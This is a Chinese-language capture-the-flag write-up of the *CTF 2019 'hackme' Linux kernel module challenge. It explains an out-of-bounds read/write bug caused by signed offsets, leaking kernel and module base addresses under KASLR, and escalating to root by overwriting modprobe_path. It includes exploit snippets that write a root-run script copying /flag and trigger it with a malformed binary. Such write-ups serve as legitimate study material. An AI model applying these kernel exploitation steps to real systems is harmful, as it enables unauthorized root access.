starctf2019-hackme

1.首先解包,看init,空的。

2.然后看启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-gdb tcp::1234 \
-cpu qemu64,smep,smap 2>/dev/null

比较正常,开了smep和smap,并且4内核,2线程,这里就可能会是条件竞争的考点。

3.然后拖入IDA分析:程序比较检查,类似菜单题,但是IDA中F5看伪代码中多了很多的奇怪的参数,最好以add->delete->edit->read的顺序来看比较舒服,一般的堆体分析结构也差不多怎么看。

首先判断下结构体:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

dataStruct:
idx 4byte
padding 4byte
data_ptr 8byte
data_size 8byte
offset 8byte

struct chunkNote:
chunk_addr 8byte
chunk_size 8byte

其中pool中存储多个chunkNote结构体,不是指针,而是结构体。

(1)add:没什么特别的,创建堆块,拷贝数据,存储chunk到pool中

img

(2)delete:也没啥问题,释放内存,指针置空。

img

(3)edit:有点问题,这里判断了chunk指针是否存在,并且offset+size要小于等于之前保存的size。

img

本来没啥,但是这里offset和size是int类型,可以为负数,那么就可以依据chunk_addr来向上修改数据了,相当于越界写。

img

(4)read:同样的,也相当于越界读:

img

▲虽说是越界写和越界读,但是由于copy系列函数,如果我们想往高地址读写的话,(内核系列函数都在高地址)offset一定需要很大,然后又要满足小于size,那么userDataSize势必要设置为负数,负数转换成unsigned long就会变得很大,基本就会导致一半的空间被覆盖,那么程序指定崩盘,所以这里还是申请pool全局变量处来进行任意读写比较好。

另外也由于slub的特性,简单修改fd的话,虽然能够任意申请,但是如果fd的内存处保存的内容是个非法的,再次申请该大小的chunk程序就会崩,所以有全局变量pool就用pool。

4.思考一下漏洞怎么利用。

(1)首先需要地址

①堆地址:释放chunkA,从chunkB向上偏移读取chunkA的fd,即可得到指向的chunkC的地址,即chunkA.fd = chunkA_addr+size*2。

②内核基地址:依据任意读,从第一个chunk往上的地方读取chunk中的内容,从中筛选出vmlinux中的地址,读取之后减去偏移,即可得到内核基地址。

img

例如这里就可以读取图中的0xffffffff81849ae0,然后减去0x849ae0即可得到基地址。当然这没有用kalsr的效果。开了之后如下,偏移也是一样的。

img

得到这次打开的基地址:0xffffffff9de00000,用命令检查一下:

img

可以看到最前面的就是内核基地址。

③函数基地址:

cat /proc/kallsyms|grep commit_creds

img

从kallsyms中可以查看到所有函数,减去原始基地址0xFFFFFFFF81000000再加上随机化的内核基地址就是随机化之后的函数地址了。比如上例为:

0xffffffff8104d220-0xFFFFFFFF81000000+0xffffffff9de00000=0xffffffff9de4d220

得到运行了kaslr的函数地址。

④模块基地址:由于需要pool变量地址,所以模块的基地址肯定也需要,这里利用mod_tree来获取。mod_tree包含了所有装载的Mod的基地址。

img

img

可以看到hackme模块的基地址也包含在里面,开了kaslr之后也是一样的。所以我们利用内核基地址得到mod_tree的地址,申请下来就可以从里面读出hackme模块的基地址。

(2)然后方法就很多了,虽然开了smep,smap,kaslr:

①修改modprobe_path:

img

img

可以看到modprobe_path指向一个二进制文件

img

而当某个特定错误发生时,就会运行该二进制文件,且是以root权限运行的,(我尝试过,运行/bin/sh不能提权)所以如果我们把路径改成我们的二进制文件,将flag复制一下,改下权限就能打开了。(直接cat flag也不行,很奇怪)

img

我们的二进制文件下只能类似是如下命令才行的:

1
2
3
4
5
6
7
8
9
10
#注释头

#!/bin/sh
/bin/cp /flag /home/pwn/flag
/bin/chmod 777 /home/pwn/flag


#或者
#!/bin/sh
/bin/cat /flag > /home/pwn/flag.txt

注意要使用绝对路径。

▲然后触发这个特定类型的错误需要一个错误格式的二进制文件:

1
2
3
4
#注释头

system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

这个elf的错误格式就是\xff\xff\xff\xff,或者其他错误格式也行。

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");